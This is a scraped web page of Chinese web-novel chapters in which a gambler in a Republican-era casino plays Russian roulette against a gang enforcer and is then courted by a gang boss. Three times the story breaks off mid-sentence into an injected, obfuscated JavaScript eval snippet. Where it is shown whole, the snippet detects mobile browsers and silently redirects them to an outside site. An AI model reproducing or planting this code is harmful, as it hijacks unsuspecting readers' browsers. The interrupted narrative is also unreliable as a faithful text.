桥牌本是四人游戏,两人为队,在赌场中,就不再有打配合的玩法,而是各自为营,中间可以任意加码。唐二爷用烂牌起死回生还能用作赌老练解释,但就是打个乐子的鲍新荣把丹尼尔压得抬不起头:“密斯特鲍,你今日很有一番好运气啊!” 一手烂牌还敢随意加码,一局就让他输了两百大洋! 更可气的是,鲍新荣还一脸懵懵懂懂的骄傲:“嗨!我就是随便玩玩,怎么就赢了呢?” 又转脸对着乔璃,将一揽子赢来的筹码拨到她面前献殷勤:“我看乔小姐今晚实在是差一点运道,不如我将运气传一点给你?” 乔璃一笑:“心意到了,但无功不受禄,鲍公子还是先自己收着罢。” 被看中的美人驳了面子,鲍新荣眉头一皱,显然有些不舒服,但很快这点子不舒服就被接连输钱的惊愕冲得一干二净。 连续打了五局,全是乔璃在赢! 唐二爷还能勉强稳得住,每次都摸到好牌、想要一把赢回所以连连加注的丹尼尔稳不住了,输钱输的满头细汗,白如腊块的脸从额头一直红到脖子根:“密斯乔,你还要继续加码?” “当然。”乔璃把手边的所有筹码推进赌桌,“All in。” 这回连唐二爷也急了:“乔小姐,你会算牌,到底知不知道我手中有什么,就敢赌上全部?” 乔璃微微一笑:“您到底跟,还是不跟?” 唐文德一咬牙:“我跟!” 她紧接着拍出一张方块K:“唐先生,您这么有信心,是笃定我不会有这一张牌?” “怎么可能?”唐文德瞪大双眼,“不可能,你出千!” “是吗?二爷须知赌场有个人人皆知的潜规则,若控诉谁出千,就要给出出千的手段并找出证据,您无凭无据地污蔑,我倒要看看富盛达是不是真就没有公道、只要谁赢得多一点,就是出千骗人了!” 这话一出,唐文德噎气,连鲍新荣也暗中腹诽:你这是赢一点吗?把他们从头到脚搜刮一遍,连激带哄,拢共四五千大洋,全叫你赢去了! 不得已,一桌人除乔璃外只好认输,阿全过来端茶倒水,连连夸赞赢家手法厉害。 如果现在停下来,也只是有一道风传说赌场新来一个打桥牌厉害的乔小姐,可乔璃今日抱着目标来富盛达,岂会止步于此?桥牌桌结束后,抱着一大笔赌资,自然要继续找更有挑战性的游戏。 再说丹尼尔,他是英吉利军官,英吉利人么,看似矜持庄重,骨子里却很有一些凑热闹嚼舌根的习惯。他赌输了钱,同时也被乔璃挑起了兴趣,琢磨一会,敏锐察觉到这事没看上去那么简单。 桥牌桌顶多算乔璃一场亮相戏,她能玩的花样,恐怕比在场每个人想象的都要大、都要多。 抱着这样的念头,丹尼尔居然很快恢复成绅士的模样,也不瞧不起人了,凭借自己在富盛达的特权,主动引荐乔璃包厢去更高规格的赌桌。 于是这些包厢的荷官与赌客们都倒了霉。乔璃除桥牌桌里输了几局,后面进入包厢,无论是她玩过的、还是没玩过的赌法,全都一路赢过去。甚至在荷官摇骰子开大开小之前就叫出定论,哪怕对方想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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乔璃侧目,可孟玉龙的重点并不是这个:“将别人玩弄成这样,你看起来并不算很开心。” 她这回真笑了:“依孟公子看,我玩弄人心,所以就该觉得开心吗?” “如果不开心,又怎么会如此擅长?” 乔璃垂眸思考片刻,态度不怎么认真地解释:“也许是因为这里的人其实都很无聊?” 孟玉龙忍不住去看她:女子后背出了一点汗,衣服黏在后背,裙摆也有些褶皱。今晚的赌局,其实已持续了比计划中还长的时间。 她的眼睛还是那样黑,镇静得像一潭不知深浅的湖水,在灯光下散发着一种独特的黑暗。 有那么一瞬间,孟玉龙离奇觉得,裴大董将心思打在这样一个女子身上,或许对他来说并不是一个全然无害的决定。 她有一双蕴含着残酷意味的、属于纯粹猎食者的双眼。 “你觉得无聊,不如同我玩一玩。” 一道粗粝嘶哑地声音突然从旁传来。 走来的是一个壮汉,几个小厮一样的人簇拥在他身后,簇拥着这个身高接近两米的巨人,乔璃瞬间意识到,此人就是孟玉龙口中的“黑狻猊”。 这男人站在那儿,像座铁塔,满是伤疤的一张脸像被锤子锤烂过一样狰狞,鼻梁肥大,因多次断裂而留下扭曲的痕迹。 但此人心思也极缜密、极狠毒、极冷酷,是林锦镛手下头一号干将。 被他盯上的人,本能会感受到一种接近窒息的怖畏:一看便知,他属于这样的一种不择手段青帮□□,是只要被惹怒,孩童都敢杀,老人也会被用来胁迫的恶人。 他口称“乔小姐”的时候,任谁都听得出那称呼下黏腻冰冷的不屑,以及要将人贬低到泥泞里去的恶意。 “玩把大的,也好叫老子看看,这狗胆是不是真这么大,敢来砸富盛达的场子。” 此话一出,就连乔璃的神情也有些空白。 孟玉龙不由想,她这回是不是怕了? 可如果是周莲泱,甚至是玉关柳在旁,都能说出真正准确的答案。 她这样,是真真正正觉得无聊、觉得在看一个彻头彻尾乏味之物的表情。 “好啊。”乔璃说,“可你们富盛达实在是无聊,所有的赌法赌具我都看透了、玩遍了,再说,你又有什么能够拿来和我赌的?” 黑狻猊说了两种赌法、三种赌筹,乔璃只摇头:“无聊。” “乏味。” “没新意。” 直到对方涨红脸,拍桌质问她是不是拿他戏耍。 谁知道她竟咯咯笑起来,半掩着嘴,像个矜持守礼的大家闺秀:“不,我是真觉得没意思啊,没意思就是没意思,装不出来的。” 黑狻猊忍着辱骂对方的欲望:“那你说怎么赌,赌什么!” 乔璃正等着这句话,闻言抬眼,眼神亮得惊人:“我要跟你赌命。” “就拿我的命,试试你这条林锦镛的看门狗,能不能代替富盛达,好歹在今晚赢我一局!” 33.拾壹 笑谈生死(下) 黑狻猊拥有海市大多数拜入青帮的下层苦力和混混所梦想的一切:一点点钱,一点点权力。根据真正的富人标准,他算不上什么;按照真正有权势之人的标准,他也微不足道,甚至只能有点可笑地在一个赌场中起“镇宅”的作用[1]。 然而即便如此,金钱与权力的滋味也让他习惯了操纵外界,而不是让外界来摆布他。尤其面对女人,那种身负绝对权力甚至能够掌握生死的错觉更让他变得更自大、更傲慢。 乔璃的话一出,黑狻猊并未觉得受到威胁,反而燃起一种类似受到侮辱的暴怒—— 这个卑微而低贱、没有钱与权力,只应该被轻蔑与摧残的二等人,一个女人,居然胆敢站在与他对等的位置叫板。 放在平时,他早已经叫人、或者亲手把她拖进阴暗肮脏的角落,去享受享受男人的滋味,而不是跳出来野狗一样叫嚣。 可她敢整出这么大阵仗,黑狻猊不得不往坏处想——她背后或许有什么针对他、针对富盛达或林锦镛的势力,譬如另外两个分割海市的青帮头子。 现在众目睽睽下,除刻意相让几局桥牌外,乔璃一次未输,筹码累计到如果兑换,会让赌场肉痛的地步。她撂下的话,更把他逼到一种进退两难的困境:不赌,便是不战认输;若是赌,首先就要被下一道面子。 黑狻猊只能赢,不仅得赢,还要赢得漂亮,赢得所有人都心服口服! 此人心中打的算盘,不仅孟玉龙看出来,二楼包厢的裴宗邺自然也看了出来,甚至比他看得更透。 因为他本也是与黑狻猊一样的凶徒。他们都从外地移民、从最苦最累的漕运脚行(搬运劳工)做起,后面凭借脑子好使与手脚灵光出人头地。为了更快攫取财与权,裴宗邺在枪林弹雨中摸爬滚打,势力多遍布在更非法的黑暗勾当里,靠趟人血才爬到今天这个地位。 比起孟玉龙这样读过书的前公子哥来说,裴宗邺将黑狻猊的本色看得一清二楚。 一种奇怪的愠怒从心底升起,让裴宗邺的胸口和肌肉发紧,呼吸变得轻而短促。这是一种极为奇怪而陌生的感觉。他是在替乔璃愤怒吗?因为黑狻猊竟敢如此瞧不起她,想要侮辱她? 年轻女子主动踏足这样一个弱肉强食的世界,如果面对黑狻猊的蔑视就败下阵来,那么乔璃日后的路一定不会好走。况且裴宗邺自己,也向来不怎么看得上、也不怎么信任女人。 他与黑狻猊,本质分明相差无几。 可即便这么想着,一股若有若无的怒意仍然困扰心房,以至于乔璃说完一番话,裴宗邺才反应过来传入耳中的究竟是什么惊人之语。 “什么……枪?” 背后有人喃喃。 “啊,你没听错,请准备两把左轮,两枚子弹,一枚空包,一枚实弹。” 乔璃站得笔直,双手置于身前虚虚交扣,没有多余坠饰的海绿长裙散发出端庄的随意。她过分深邃的双眼生在一张与这种深沉个性相比过于温柔可亲的面孔上,所以第一眼总给人弱势的幻觉。 “那么我再解释一遍提议:黑狻猊先生选一种擅长的赌法,我选一种,赌筹无上限,交错进行。我这边呢,身无长物,只有一条命或许值钱,所以打算玩一玩鄂罗斯流行的轮盘赌。赢家可以选一把枪朝输家射击一次,嗯……好像太简单了?” 她转头看了一眼孟玉龙的腕表,唇角微微扬起:“真是个漫长的夜晚,我想早点回家了,不如我们来玩‘镜子’:赢家用枪做什么,输家也要做一样的事。这样有趣些,怎么样?” 黑狻猊的眼睛瞪大,嘴也微微张开,脑中只想及两个字:疯子! 她真要把命押上赌桌! 沉默凝滞在充满烟味的空气里。人们都在等待,目光纷纷投注到面容扭曲的黑狻猊脸上,等待,品味,窃窃私语,缓慢吞噬他用金钱与暴力堆叠出来的特权。 如有实质的注视刺痛了男人的咽喉深处,逼迫他不得不赶快采取行动:“好,老子就陪你玩玩……拿枪来!” “大哥!” 黑狻猊挥开身后混混的手:“你选左轮轮盘赌,好胆。会不会玩金拉密牌?” 乔璃颔首:“还算熟悉,也请黑先生再讲解一遍富盛达的规则。” “金拉密”(Gin Rummy)对富盛达二楼的赌客来说都不陌生,它是一种源自美利坚国两人扑克游戏,因为规则简单而很受租界洋人欢迎。每人十张牌,通过抽牌、弃牌的过程将手牌组满顺子或刻子[2],用“Knock(敲击)”或“Gin(满贯)”宣布结束。 但黑狻猊来玩,却不会那么简单,他擅长诈唬、欺骗和——出千。裴宗邺本还不明白乔璃明明知道自己客场作战,为什么还要选择对方最厉害的赌术,可望及她笔直又松弛的背脊,又好似一切尽在不言中。 裴宗邺相信乔璃不会在实力上输给别人,因为她是那么聪明,聪明又……胆大,抱着稚嫩青涩的野心横冲直撞,谁的虎须都敢撩一把。 可耍枪不一样,还是鄂罗斯轮盘赌,左轮由富盛达提供,就多一重不可信。狠狠击败对方强项固然是妙策,但也意味着自己也必须在悬崖边缘行走,每一步都踏在生与死的分界线之上。 问题不在于轮盘赌,不在于黑狻猊,在于乔璃。 到底是什么样?他预感到某些事正在发生,某些会超出他预料与掌控的事,就像他今夜分明计划不来却提前抵达富盛达,鬼祟一样躲在包厢,透过百叶窗注视她的一举一动。 青帮浮沉,裴宗邺刚过三十不久,阅历却赛过更年长许多的人。可哪怕是他也不得不承认,乔璃带给他的不仅是遇见美人的愉悦,还有一种在掌握又似不在掌握的不可捉摸感。 看来今夜会上演一场好戏。 一番推拉折腾后,赌局终于开始了。水晶灯下,一张天鹅绒铺面的西式牌桌,两把红呢高背椅,去掉大小王的两副扑克。乔璃稍微转了转头,这处赌台的位置比想象得还要好,位于一楼可直接张望到的平台,无论观众处于哪个位置,都能轻易旁观这场胜负。 一场意外平等的对决。 ——不管你是有权有势的赌霸,还是身无分文的女学生,生死天平上,两条命总归是一样重的。 荷官是阿全,他黝黑的面容布满细汗,表情也不太对劲,发牌的声音都含着颤抖:“开始。” 金拉密的玩法虽然不难,但预测却极其深,通过弃牌来预测手牌和“Knock”的时机,是一个在累加回数的过程中逐渐显露实力差距的游戏。 如裴宗邺所料,黑狻猊其实并没有什么机会,第一局没持续多久,乔璃就直接“Knock”。 “这么喜欢弃中段牌,是想多从中部牌构组顺子,我刻意弃掉红桃八,就是为引诱你上钩。” 女子的声音轻轻柔柔的,还含着笑意。 黑狻猊花了好一会才接受自己输牌这件事:“……你怎么知道我缺这张?” “前两次弃牌,与这次弃牌,你的反应截然不同。”乔璃指了指自己眼角,“那一次抽动,我就知道,你在等它。” 众人哗然。 不对劲的感觉又一次出现:这种从细枝末节中读懂人心的办法是荒唐的,不可能仅靠这种手段赢得牌局,起码对孟玉龙来说是如此。 但是从乔璃进入赌场以来,他就感觉到另外一种不对劲,一种难以言说的、只有别人清楚,而当事人一无所知的危机感。 孟玉龙只能怀抱着这种隐秘的不安,去思考乔璃的意图。 唯一能确定的是,她也在出千。 “好了,我们来赌第二种玩法吧。” 乔璃起身,阿全指尖微微颤抖,捧来一个黑盒子。里面有两把枪,按照她的吩咐,在所有人都看得到的地方各填一枚子弹,转动三次弹巢,放入盒子之中。 为杜绝什么人做手脚,两把左轮,是在场的两名白俄军官所提供的,无论重量、大小还是磨损程度,在外人看来,几乎一模一样。 暗中去摸,根本不可能分辨得清哪把枪致命,哪把枪相对无害。 黑狻猊怔怔地看着她举起左轮,隔着赌桌把黑洞洞的枪口对准他的眉心,一股冷意瞬间从脚底麻到头顶。他想要大骂、嘶吼,喉中却喊不出一句。 “嗒。” 左轮的扳机很重,带动击锤和弹仓,发出一声沉沉的机械音。 “啊,是空弹。”乔璃语气平静淡然,目光微带好奇,“黑狻猊先生,该你了。” 汗珠从鬓角滑落于地,黑狻猊不自觉抹了一下后颈,摸得满手冰凉。汗透衣衫,他抬步上前,腿脚沉重异常。 男人开枪时,同样对准乔璃的头颅。也是空弹。 黑狻猊脸上浮起一抹冷笑:“你倒是好运。” 第二轮牌局开始了,周围看客呼吸微屏,大气不敢出一声。发牌的阿全手指修长,指甲修成整齐干净的弧线,只是本该利落的翻牌动作有些僵硬。乔璃的目光落在他右手的虎口处,看他的拇指轻轻一颤,像是一只猫在收爪。 她神色未动,只轻声说了句:“这副牌,不如换一个人发吧。” 话音未落,她一个手刀切在阿全腕骨,扑克扑啦一声散落在绸面桌布上,散成几圈异色牌花。黑狻猊眉角抽动,不等他开口,乔璃便从牌花中翻出三张红桃7。 临近的看客惊咦出声:“这荷官出千!” “恐怕是散牌的时候要故意凑局给黑狻猊!”“当真狡猾,果然是一丘之貉,乔小姐,幸亏你发现得及时!” 乔璃不言,只笑着看整张脸胀紫的阿全。她不说话,反倒点燃了黑狻猊的暴怒,只见他一跳从高椅跳起,蒲扇似的巴掌狠狠抽向阿全:“谁让你出千,谁让你出千?死贱皮,死贱皮!” 阿全捂着脸,不敢哀嚎,连连鞠躬,就差给乔璃跪下。有那知机的荷官,新拆两副扑克,先亮给所有人看完,再替代了阿全的位置。 重新洗牌,切牌声细碎,拨弹着观者的心弦。 乔璃低头,慢慢将分来的牌一张张翻开,抽牌,弃牌,动作缓慢而优雅。 不过三轮,她就主动亮牌,第一张是——黑桃A。 第二张,红心A。 第三张,梅花A。 她轻笑:“满贯。真巧,今天我手气好得出奇。” 黑狻猊的心随着刻子的出现而凉了下去,而且继续往一个无底的深渊坠去,脸色由之前勃然大怒的血红,转成冬夜湖面似的惨白,透出冰凉的裂痕。 任何人面对指着头顶的左轮//枪,恐怕都很难保持冷静。 但乔璃手中的枪,对准的并非黑狻猊的头顶。 她对准的是自己的太阳穴。 孟玉龙从赌局一开始就揣在心头的不安完全爆发了出来。 “咔哒,咔哒,咔哒。” 连扣三次。 他不该紧张的,因为将要对准自己扣动扳机的并不是坐在轮椅上的裴宗邺,但他的后背的的确确掠过一阵由恐惧点燃的颤栗。那股悄无声息的颤栗好似也延绵到那条完全失去知觉的左腿,带动整个身体都险些打起颤来。 乔璃面带微笑,意味不明地歪了歪头,做了一个口型,无声道:镜子。 镜子是她提出的规则:赢家用左轮做什么,哪怕自己用枪口抵着自己的太阳穴连按三下,输家也必须依样完成。 黑狻猊抓着自己的左轮,木木地没有动,直到有看热闹不嫌事大的旁观者开始催促,从小声到嘈杂,才慢慢愣愣地把枪口对准自己。 第一发是空弹。 一串微弱的咯咯笑声从他紧闭的大嘴里渗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15907222|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,声音很扭曲,不像人能够发出的声音。 第二发还是空弹。但男人的身体忽然就要瘫倒了,全身发起一阵可怕的痉挛,几乎握不住枪:“……饶了我。” 他知道自己要死了,或许他已经死了。 “什么?”乔璃笑着问。 “饶了我,乔小姐,你要什么,你要什么!我都给你,我都给你!” 乔璃瞧着他,像是在欣赏什么,又露出一点索然无味的表情。 这时,孟玉龙才发现她的眼睛在吊灯的光照下竟然也是漆黑无光的,当她长久地注视着什么人的时候,柔软就变成可怖的锋利,能将一个人剖开看进骨子里。 一团疯狂的、不可控的黑暗。 “您说什么呢,”她说,“难道富盛达的赌霸,连一个小小的赌约都完成不了?” “那可真是,贻笑大方了呀。” 黑狻猊感到浑身冰冷,冷到了骨子里。他把枪口对准太阳穴,指头扣在扳机上,接着,一种不受抑制的、极其嘶哑的笑声再次响起。 他笑了一阵,又叫了一阵,就在所有人都以为他要开枪时调转了枪口,指向乔璃:“你去、去、去死吧!” 一声巨响伴随硝烟的气味传出,有人尖叫起来,但是盖不过黑狻猊的尖叫,孟玉龙开始好奇人到底能不能喊破自己的喉咙。 然后,他嗅到血的气味,笨拙地转了个身,看见乔璃捂着左臂,这才恍过神来:“乔璃?你中弹了?” 鲜血从她指缝中流出,很快染红衣裙袖摆。她摆摆手,不太在意地说:“没事,只是空包弹擦过去而已。” 虽然是空包弹,可在这样近的距离下擦过手臂,也撕开一条不大不小的伤口。 头一次的,孟玉龙失了分寸,差点扑上去替她喊人,直到远远看见从包厢中转出来的裴宗邺。 喧闹的二楼上,乔璃的筹码堆成山,两次牌局,每一把都是all in,再加黑狻猊不敌压力食言而肥,随着裴大董的出现,在有心人眼中,已彻底给富盛达定下了败局。 这砸场子,倒是彻彻底底把林锦镛的面皮踩进了土里。 而乔璃的胜利,也注定会让她一战扬名。 她的目的已经达成,如何宣传夸大、利用这件事打击富盛达与林锦镛,倒不必功臣来烦心。 裴宗邺灰黑色的眼睛一眨不眨地注视着乔璃,人群分明混乱,他推动轮椅而过时却不自觉让出一个位置。 从破了的袖子来看,她的左上臂被子弹划伤了,且伤口不浅。他的目光未曾离开她,所以当乔璃身形微晃,忽然向下瘫软时,自然而然地牢牢托住她的身体。 她的身体高挑、结实,与黑狻猊对峙气势不在下风,但他身体修长,还能移动的上半身也维持得相当强壮,哪怕坐在轮椅上,也足够坚实。 乔璃靠在他怀里,呼吸轻而急促,手下伤口还在流血。裴宗邺利落地扯开一条干净的餐巾,作为止血带扎在手臂上部,接着检查了一下:血流得凶,但伤口没有想象那般严重,好好恢复,以后不至于影响活动。 他低下头,与她对视,那双眼睛许是因为疼痛而蒙上一层浅浅的水雾,在暖光的映衬中,显得惊人的澄澈。 她嗫嚅着,因为摔到他身上而用细弱的声音道歉,脸色发白,显得无比柔弱可怜。 裴宗邺不由笑了一下,或许连他自己都不知道因何而笑。他明明有些洁癖,被一个身上染着汗味、在赌场赌了一夜蓬头垢面的家伙贴在身上,却没有一丁点不适或愤怒,甚至还有心情用手理一理她的长发,再感慨一下发质特别好。 “……我受伤了,您还笑。” 乔璃歪着脑袋冲裴宗邺一撇嘴。 孩子气的小表情把裴宗邺逗乐了。神色软下来的时候,他接近死灰的瞳仁居然很是含情,也衬得薄长锋利的唇线格外性感。 他堪称温柔地摸了摸她的头发,语气像一个长辈般宽和:“首先该怪你选这种轮盘赌。” 话是这么说,但他那双锐利的眼睛却宛如凶兽般死死盯着她,身体也绷紧如弓,俨然被她搅起的动静感染,完全地兴奋起来。 “这样比较好玩儿嘛。”乔璃说。 “好玩,结果被人一弹打在身上。” 乔璃一笑,未受伤的手臂环过裴宗邺的脖颈,若有若无擦过后颈:“……这一点,难道裴大董不该帮功臣报一报仇么?” 灰眸微微眯起,裴宗邺看她的眼神多了一点什么:“这点不用麻烦乔小姐提醒。倒是你玩左轮轮盘赌的手法,我有些兴趣,不知乔小姐可愿分享?” 他虽不再亲自下场与人赌输赢,但同乐上什么新玩法,一定要先过他的手,遑论鄂罗斯轮盘赌这种刺激到极点的赌法。 怀中人神色狡黠,哪还有倒下时装出来的柔弱:“裴先生打算拿什么换?” 有人在胸口与身上轻轻扭,将昂贵的白衬衫蹭出不少褶子,也把裴宗邺的心扰得乱了一些:“之前许诺你的,我还会加码,此外,乔小姐任意开价。” 乔璃扣着他的颈项,微微有一点恍神,似是要说什么,又作罢,露出惯常的笑容:“我开玩笑呢,再怎么神通广大,也不可能知道枪里有没有子弹呀。” 她又揪了一下他的领口:“要是裴大董想玩,我们可以用实弹,互相对着打。” “还好我并不太喜欢左轮,家中不备,避免死于非命。”男人笑意多了一点无奈,“不用交换,你想要什么,我会给你。” 乔璃皱眉,很是不解:“无功不受禄,为什么?” 裴宗邺的手就微微扣紧她的腰,忽然凑近乔璃耳畔,侵来一阵古龙水格外特别的气味。 “因为我想追求你……小疯子。” 要裴宗邺讲心里话,虽然疯,但她实在疯得很好看。 34.拾贰 胭脂如血 熬了一夜,乔璃多少也有些疲倦了。酒气烟臭,反倒不如人心阴暗污浊,这污浊就像一张乌沉沉的大网,把富盛达里的每一件物体都笼罩在内了。 凝滞浑浊的空气中,她伏在裴宗邺怀里,抬眼静静地把他那么一瞧。灯下苍白的面容如冰玉,眼波一顾盼,似乎化为一个深深的黑洞,要把他看穿、看透,一直看进骨子里去。 两人这么互相望着。裴宗邺第一次与人这么近地对看,彼此情绪一览无余。她长而柔顺的乌发披散在后背,也披散在他身上。这本该是一种浪漫而引人遐想的姿势,可不知为何,他觉得她的视线中并没有自己期待的东西。 乔璃一声轻叹。 也就是十数年的人世沉淀,才让裴宗邺忍住主动询问她为何叹气的冲动。 她也没有吊着他的意思。 “追求我?我是个生意人,咱们之前谈得也是两不相欠公平公正的交易。可裴先生追求我,我答应,就多一层‘内人’的外衣。披着这件外衣,靠我自己玩命换来的报酬,自然还是裴先生的财产。” 乔璃抿着嘴笑:“裴先生不愧是青帮大董,真是打得好算盘呀。” 裴宗邺微微愣了一下,露出一个好气又好笑的表情,但没有真的动怒:“原来你是这么想我的?” “不是我这么想你,而是裴先生的这句话,让我不得不这么想。” 乔璃往他肩膀借了一下力,将身体撑在他完好但无知觉的左腿上,俯下身用双臂搂住他的脖子,不带有任何羞赧或尴尬的意味,而是用十足温柔的语气低道:“您回忆一下,当初您招揽小孟尝孟先生的时候,他也得做好妾拟将身嫁与[1]的心理准备不成?” 裴宗邺代入孟玉龙的脸,想象一下那个画面,哪怕自己的智将也是一表人才,也难免有点恶心:“那倒……大可不必。” 但要说她心思清白,他无端冒犯,裴宗邺是不信的。 不然现在又何必在他怀中安坐,还把他那条谁也不敢碰不敢过问的废腿,当成合趁的软垫子? 不过是筹码不够,或者不对罢了。 想通这点,裴宗邺又想笑,笑她胆大包天又十足贪心,只是识趣地没有表现出来:“是我唐突乔小姐,抱歉,明日必奉送歉礼一份。” “好呀,不过谈交易还是后天吧,我受了伤,明天只想好好休息。” 乔璃动动胳膊,轻轻“嘶”了一声。裴宗邺闻弦音而知雅意:“今日辛苦乔小姐,不如屈尊去我那里,叫家庭医生过来好好诊断?” “你还有家庭医生?”乔璃咋舌,“但还是算了,彻夜不归,孟家……我那个孟家不好交代。” “虽然我与远房堂姐关系不好,但居人篱下,还是少添麻烦。” 裴宗邺明明早已派人把乔璃身世背景查了个底儿掉,还要装作讶然的模样,目光交汇时,自然流露出三分心疼:“那好,但伤也不能放着不管,我让医生过来处理。” 乔璃松开环着他肩膀的手,小指指尖不经意擦过他的侧颈,轻轻挠了一下。扶着她的腰的手立刻扣紧了,一双暗沉沉的灰色眼瞳里闪着近乎兽性的悍利的光,好像如果不是置身大庭广众下,这头野兽早已蛮横地咬上来了。 也许,现在也不算大庭广众,毕竟裴宗邺带来的人,已将二楼清出大半空场。 乔璃撑在他身上,手握住腰间那只修长又分外骨感的手,缓缓把它扯开。 “乔小姐。”他说。“你要知道,我不是什么善心人,也不算很有耐性。” 她既然想玩,他不介意相陪。拥有如今的财富地位,什么样的女人几乎都唾手可得,能维持一时片刻的好奇心动,对他来说反倒是值得付出的游戏。当然,要是失去兴趣,抛弃也不过一眨眼的事。 只是再怎么胆大,撩拨也要讲究分寸。玩火自焚的道理,他不相信乔璃不懂。 “我知道呀。”乔璃一笑,毫无惧色,“但是,裴先生更是个生意人,不对么?” 裴宗邺挑眉。 “我这个人性格就不太讲究分寸。”她说。“作为补偿,我再为您提供一个无法拒绝的交易。” 裴宗邺饶有兴趣地问了一句是什么。 钱或者权,他不认为有什么,是她能提供而自己无法拒绝的。 至于色?乔璃美则美矣,也远远没到倾国倾城的程度,有几个夜场卖唱的歌女,都比她更楚楚可怜容色盈盈。 这个想法止于她的手抵住他后腰一处关窍的那一刻。乔璃三指并拢找准地方用力一按,一股急遽而来的酸麻痛楚如同沾了盐水的鞭子一般劈过脊柱,让他一瞬冷汗直冒,痛得弓起身体、几乎要从轮椅上跌下去。 这时就体现出两人姿势的重要性:乔璃压在他身上,哪怕左臂负伤,也能牢牢将男人按稳。 分明经受一阵突兀而剧烈的痛楚,他也紧咬牙关未出一声,哪怕是佯装,也装出了一副不动如山的模样。落在轮椅侧方的手,也不知何时扣住一把开了保险的手枪。 从这种近似本能的反应里,乔璃稍稍窥视到此人黑暗而凶险的过去。 她没再刺激他。 裴宗邺被乔璃伸手抬起脸的时候,还未完全回神。眼尾泛红的丹凤眼中残留两抹水色茫然,微厚的下唇被咬出一线血红,脸上透着汗,洇出一种无助又湿润的性感。 “裴先生,腰是不是松快点,右腿也没那么痛了?” 趁着他还在沉默忍痛,乔璃放下手,眼底滑过一抹玩味:“最近夏雨频频,您应该不太好受吧。” 裴宗邺神色复杂:“……你懂医?” “嗯,但断腿是没办法了。” 毕竟这里不是上辈子的末世,再说,除了末世前大脑活跃度就与精神系异能者可堪一比外,她可没获得任何特殊能力。 “不过没知觉的这一条……未必就一直没知觉。” 不用裴宗邺动作,乔璃就主动从轮椅上——从他身上下去,站在一旁,微微弯着腰,好整以暇地告诉他:“回答裴先生刚才的问题,我不仅是懂医,在……反正在处理你这种病例的领域,我或许比任何人都要精通。” 裴宗邺垂眼,不太想看见她眼里隐约闪烁的笑意。 其实有那么一刻,他有一点后悔招惹眼前这个女人——因为这股让他联想到截肢那日的剧痛。 腿被截断之后,在从此以后的许多个月里,身体都无法忘记那段经历,忘记那深入血肉与骨骼的无力、绝望与痛苦。 她比他想象的更危险。 但她又的确开出了一个他无法拒绝的条件。 ------------------------------------------------------ 天上已有熹微日光。 实在是淡得可怜,也稀薄的可怜,但被这可怜的日光一照,人仿佛才终于能活过来似的。 “乔璃!” 这一声有些犹豫的滞涩,但大半还是激动与兴奋。乔璃不意能在富盛达门口见到梁慧秀,神色奇怪:“慧秀,你怎么在这儿?” “是邱宇啦……他今晚也在赌场里,看见你,马上给我打来电话。我还醒着跟妈妈打麻将,听到就赶来了。” 因为走得急,她穿的衣裙果然比平时朴素三分,但料子也是鲜亮的。梁慧秀双手掐着腰带,神情忸怩,眼里又绽着光华:“你……你怎么敢的?你太厉害了!” 说完,看着她纱布的胳膊,既好奇,又害怕:“那可是枪啊……你都不怕吗?” 她身后还跟着宓语柔和两个壮实的保镖,几人瞧过来的目光,都有些复杂和奇特。原来她们一行没能赶上前头的赌局,却正好做了轮盘赌的观众。 乔璃轻笑起来:“之前心情激动,没觉得有什么,现在还挺疼的,得回家休息了。” “是了!”梁慧秀过去抱住她没受伤的胳膊,“是我不对,跑过来烦你,我送你回家,明天咱们得开庆功宴!我要把你也介绍给妈妈,让她瞧瞧,我认识了多么厉害的一个朋友! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她没想到周莲泱会在孟家,还扮成女人,只穿一件有些可笑的戏服,连可能引人注意的喉结,都掩在一条丝巾之后。 更让她想不到、也无从应对的,是他愤怒的质问。 “乔璃,你怎么敢拿命去赌?” 周莲泱的声音不大,因为刻意柔成女音,格外细软低沉;可这样一句细细柔柔的质问,底下却藏着数不尽的后怕与惊抖。 “我……” 乔璃无从回答。她根本不明白他的意思,拿命去赌,有什么问题么? “你不懂,哈哈,是,你不懂……我知道你不懂……” 他眼里有一种可怕的迷离恍惚,又像是一种被刀子割得鲜血淋漓的绝望,那样痛苦,那样骇人,连觉得莫名其妙的梁大小姐都鹌鹑一样,不敢妄自插嘴。 乔璃只觉眼前一花,比扇来的掌心先到达的,是他腕间一抹清涩的药檀幽香。 那一巴掌,并不痛,甚至未能将她的脸颊打偏,只带来一种冰冰的凉意与湿意,在皮肤上留下一抹胭脂似的红痕罢了。 红痕也不是她的伤,而是他自己在掌心掐出来的血。 “……你的命是我救的,拿去赌,倒也不必问我的意见。”周莲泱眼神惨尽,又兀自笑着,明明是他打了乔璃一巴掌,簌簌落泪的,却还是他。“只是你给我记好了,你押出去的实际是两条命,所以下一次对面也得赌两条命,别傻乎乎的,连自己送出多少筹码都数不清。” 毕竟她若丢了命,他也没办法独活。 没办法的。 乔璃想要解释,对上他的目光,忽然就觉得狼狈:无论有没有把握赌赢,她实际也的确并不在乎自己的生死。 她从未在乎过谁的生死。 赌自己的命不觉得有什么,听完周莲泱的话语,不知怎的,眼里忽然有一股热意。乔璃伸手一抹,才发现是两滴泪。 而周莲泱已经转身而走了。 加上他话语里描摹的场景,让心脏有一瞬又不解、又酸麻的抽疼。 她…… 乔璃心中一片迷茫,又好像已经懂了,身旁孟彩霞轻轻一笑,手往这个智计万千又有些迟钝的朋友肩膀上一拍。 “还不去追?” 外面的梁大小姐,她见过一面,也有足够的身份去招呼接待。而乔璃必须面对解决的,才是十万分紧急而重大的要事。